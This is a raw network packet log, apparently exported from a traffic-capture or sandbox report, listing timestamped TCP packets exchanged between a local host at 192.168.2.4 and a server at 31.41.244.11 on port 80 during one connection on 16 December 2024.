Dec 16, 2024 21:02:33.208898067 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.208914995 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.208950043 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.208981991 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.209981918 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.209999084 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.210037947 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.210037947 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.210952997 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.211005926 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.211343050 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.211397886 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.212579966 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.212609053 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.212627888 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.212654114 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.213355064 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.213402987 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.213601112 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.213646889 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.214534044 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.214586973 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.214601040 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.214689016 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.215439081 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.215488911 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.215572119 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.215620995 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.216649055 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.216698885 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.216794014 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.216841936 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.217788935 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.217854023 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.217863083 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.217920065 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.218786955 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.218837976 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.218974113 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.219027042 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.219984055 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.220000982 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.220040083 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.220040083 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.221091032 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.221107006 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.221148014 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.221179962 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.222238064 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.222255945 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.222286940 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.222315073 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.223306894 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.223361969 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.223427057 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.223475933 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.224438906 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.224493980 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.224617004 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.224664927 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.225527048 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.225573063 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.225625992 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.225677013 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.226699114 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.226754904 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.227057934 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.227108002 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.227782965 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.227798939 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.227832079 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.227864027 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.228974104 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.228991985 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.229032993 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.229064941 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.229903936 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.229978085 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.230195045 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.230242968 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.231201887 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.231220007 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.231256962 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.231288910 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.232273102 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.232321978 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.232347012 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.232398033 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.233304977 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.233323097 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.233361006 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.233392000 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.234517097 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.234570026 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.234601974 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.234647989 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.235660076 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.235677004 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.235708952 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.235739946 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.237035036 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.237086058 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.237143040 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.237193108 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.237915039 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.237953901 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.237963915 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.237998009 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.238920927 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.238938093 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.238972902 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.239005089 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.240112066 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.240192890 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.240247011 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.240295887 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.241121054 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.241178036 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.241230011 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.241278887 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.242283106 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.242337942 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.242386103 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.242436886 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.243360043 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.243424892 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.243587017 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.243637085 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.244566917 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.244582891 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.244620085 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.244649887 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.245599031 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.245646000 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.245701075 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.245752096 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.246753931 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.246802092 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.246995926 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.247049093 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.247783899 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.247848988 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.247951031 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.248001099 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.248950005 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.249000072 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.249012947 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.249063015 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.250005960 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.250062943 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.250118017 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.250186920 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.251199961 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.251259089 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.251276016 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.251324892 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.252269983 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.252326965 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.252420902 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.252470970 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.253344059 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.253391981 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.253511906 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.253561020 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.254614115 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.254631996 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.254669905 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.254700899 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.255636930 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.255681992 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.255707026 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.255754948 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.256808043 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.256825924 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.256860018 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.256900072 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.257914066 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.257930040 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.257970095 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.258002043 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.259042978 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.259059906 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.259094000 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.259129047 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.260246038 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.260262966 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.260292053 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.260333061 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.261106014 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.261156082 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.261338949 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.261392117 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.262423038 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.262471914 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.262729883 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.262780905 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.263415098 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.263463020 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.263511896 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.263556957 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.264524937 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.264573097 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.398443937 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.398515940 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.398536921 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.398587942 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.398858070 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.398910046 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.399348974 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.399405956 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.400018930 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.400072098 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.400243044 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.400300980 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.401201963 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.401249886 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.401329041 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.401376963 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.402154922 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.402204037 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.402343035 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.402389050 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.403413057 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.403450966 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.403466940 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.403553963 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.404486895 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.404542923 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.404550076 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.404589891 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.405539989 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.405596972 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.405683994 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.405741930 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.406755924 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.406773090 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.406806946 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.406840086 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.407850027 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.407866955 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.407902002 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.407902956 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.408916950 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.409001112 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.409049034 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.409097910 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.410032988 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.410049915 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.410085917 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.410085917 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.411079884 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.411128998 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.411356926 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.411403894 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.412221909 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.412272930 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.412730932 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.412776947 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.413377047 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.413419962 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.413443089 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.413489103 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.414422035 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.414469004 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.414513111 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.414552927 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.415591955 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.415643930 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.415858030 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.415904999 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.416620016 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.416670084 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.416740894 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.416788101 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.417768955 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.417815924 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.417938948 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.417987108 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.419054031 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.419104099 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.419167995 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.419214964 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.420120955 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.420171976 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.420258999 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.420305014 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.421276093 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.421324015 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.421344042 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.421374083 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.422384977 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.422401905 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.422441006 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.422441006 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.423346996 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.423393011 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.423866987 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.423917055 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.424530983 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.424586058 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.424587965 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.424628019 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.425668955 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.425715923 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.425755024 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.425803900 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.426682949 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.426729918 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.426795959 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.426841974 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.427845001 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.427895069 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.427932024 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.427975893 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.428968906 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.429006100 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.429035902 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.429066896 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.430052042 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.430102110 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.430219889 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.430269003 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.432085991 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.432121992 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.432137012 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.432171106 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.432249069 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.432297945 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.432748079 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.432800055 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.433523893 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.433578968 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.433773994 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.433824062 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.434495926 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.434555054 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.434609890 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.434664965 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:33.435806990 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:33.435862064 CET	49812	80	192.168.2.4	31.41.244.11
